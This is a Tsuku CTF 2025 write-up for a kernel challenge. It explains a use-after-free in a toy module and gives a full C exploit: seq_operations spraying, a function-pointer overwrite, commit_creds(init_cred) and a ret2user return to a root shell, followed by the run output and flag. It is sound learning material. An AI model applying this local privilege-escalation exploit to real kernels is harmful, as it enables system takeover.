tsune Help

easy-kernel

Tsuku CTF 2025

challenge

#define CMD_ALLOC 0xf000 #define CMD_WRITE 0xf001 #define CMD_FREE 0xf002 #define OBJ_SIZE 0x20 typedef struct { size_t size; char *data; } request_t; struct obj { char buf[OBJ_SIZE]; }; static struct obj *obj = NULL; static DEFINE_MUTEX(module_lock); static long obj_alloc(void) { if (obj != NULL) { return -1; } obj = kzalloc(sizeof(struct obj), GFP_KERNEL); if (obj == NULL) { return -1; } return 0; } static long obj_write(char *data, size_t size) { if (obj == NULL || size > OBJ_SIZE) { return -1; } if (copy_from_user(obj->buf, data, size) != 0) { return -1; } return 0; } static long obj_free(void) { kfree(obj); return 0; } static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { request_t req; long ret; if (copy_from_user(&req, (void *)arg, sizeof(req)) != 0) { return -1; } mutex_lock(&module_lock); switch(cmd) { case CMD_ALLOC: ret = obj_alloc(); break; case CMD_WRITE: ret = obj_write(req.data, req.size); break; case CMD_FREE: ret = obj_free(); break; default: ret = -1; break; } mutex_unlock(&module_lock); return ret; }

summary

There's obvious use-after-free in obj_free.

static long obj_free(void) { kfree(obj); return 0; }

obj was allocated by kzalloc.

obj = kzalloc(sizeof(struct obj), GFP_KERNEL);

the size of buffer is 0x20 bytes so kernel uses kmalloc-32.

#define OBJ_SIZE 0x20

Since no validation, no mitigation, I could easily duplicate buffer with seq_operations.

struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };

seq_operations has 4 function pointers. Use writing function of kernel module to overwrote function pointer and got ip.

Since there was no mitigation such as kaslr, kpti, smep and smap, return to userland function that call commit_cred(init_cred) and restored the registers.

#!/bin/sh qemu-system-x86_64 \ -m 64M \ -cpu qemu64 \ -kernel bzImage \ -drive file=rootfs.ext3,format=raw \ -drive file=flag.txt,format=raw \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -smp 1 \ -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1"

exploit

#include <assert.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/msg.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define COLOR_RESET "\033[0m" #define COLOR_RED "\033[0;31m" #define COLOR_GREEN "\033[0;32m" #define COLOR_YELLOW "\033[0;33m" #define COLOR_BLUE "\033[0;34m" #define COLOR_MAGENTA "\033[0;35m" #define COLOR_CYAN "\033[0;36m" #define PROC_NAME "NKTIDKSG" #define MODULE_NAME "/dev/vuln" #define info(fmt, ...) \ printf(COLOR_CYAN "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__) #define success(fmt, ...) \ printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__) #define error(fmt, ...) \ printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__) #define warning(fmt, ...) \ printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__) #define CMD_ALLOC 0xf000 #define CMD_WRITE 0xf001 #define CMD_FREE 0xf002 #define OBJ_SIZE 0x20 #define SPRAY 0x1 #define SPRAY_SEQ 0x10 typedef struct { size_t size; char *data; } request_t; void shell() { puts("[*] shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp); } unsigned long ret = 0xffffffff817f2cf3; //unsigned long pop_rdi = 0xffffffff814f430c;// clc; pop rdi; ret; unsigned long pop_rdi = 0xffffffff813c9b6d;// clc; pop rdi; ret; unsigned long iretq = 0xffffffff81639e96;// iretq; unsigned long swapgs = 0xffffffff817e3408; unsigned long rip = (unsigned long)shell; unsigned long cs; unsigned long ss; unsigned long rsp; unsigned long rflags; unsigned long commit_creds = 0xffffffff812a1050; unsigned long init_cred = 0xffffffff81e3bfa0; // readelf -S vmlinux unsigned long kbase = 0xffffffff81000000; static void refuge() { asm volatile ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(cs), "=r"(ss), "=r"(rsp), "=r"(rflags) : : "memory"); } static void ret2user(unsigned long rip) { asm volatile ("swapgs\n"); asm volatile( "movq %0, 0x20(%%rsp)\t\n" "movq %1, 0x18(%%rsp)\t\n" "movq %2, 0x10(%%rsp)\t\n" "movq %3, 0x08(%%rsp)\t\n" "movq %4, 0x00(%%rsp)\t\n" "iretq" : : "r"(ss), "r"(rsp), "r"(rflags), "r"(cs), "r"(rip)); } void lpe() { //char *(*pkc)(int) = (void *)prepare_kernel_cred; void (*cc)(char *) = (void *)commit_creds; //(*cc)((*pkc)(0)); (*cc)((void *)init_cred); ret2user((unsigned long)shell); } int main(void) { request_t req = {0}; int spray[SPRAY]; info("spray"); info("spray 1 Alloc"); for (int i = 0; i < SPRAY; i++) { spray[i] = open(MODULE_NAME, O_RDWR); if (spray[i] < 0) { error("%d :open %s failed",i, MODULE_NAME); exit(1); } ioctl(spray[i], CMD_ALLOC, &req); } info("spray 2 Free"); for (int i = 0; i < SPRAY; i++) { ioctl(spray[i], CMD_FREE, &req); } info("spray3 Alloc seq_operations"); int seq[SPRAY_SEQ]; for (int i = 0; i < SPRAY_SEQ; i++) { seq[i]= open("/proc/self/stat", O_RDONLY); if (seq[i] < 0) { error("%d :open %s failed",i, "/proc/self/stat"); exit(1); } } char payload[OBJ_SIZE]; unsigned long *p = (unsigned long *)payload; *p++ = (unsigned long)lpe; *p++ = (unsigned long)lpe; *p++ = (unsigned long)lpe; *p++ = (unsigned long)lpe; req.size = sizeof(payload); req.data = payload; info("trying to spray uaf."); for (int i = 0; i < SPRAY; i++) { ioctl(spray[i], CMD_WRITE, &req); } info("trying to read."); char rbuf[0x100]; info("trying to get RIP."); refuge(); read(seq[0], NULL, 1); close(seq[0]); return 0; }

gotcha!

/tmp $ ./exploit ./exploit [*] spray [*] spray 1 Alloc [*] spray 2 Free [*] spray3 Alloc seq_operations [*] trying to spray uaf. [*] trying to read. [*] trying to get RIP. [*] shell /tmp # $ dd if=/dev/sdb dd if=/dev/sdb TsukuCTF25{n0w_u_learned_h0w_to_turn_UAF_int0_r00t} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001+0 records in 1+0 records out
Last modified: 09 May 2025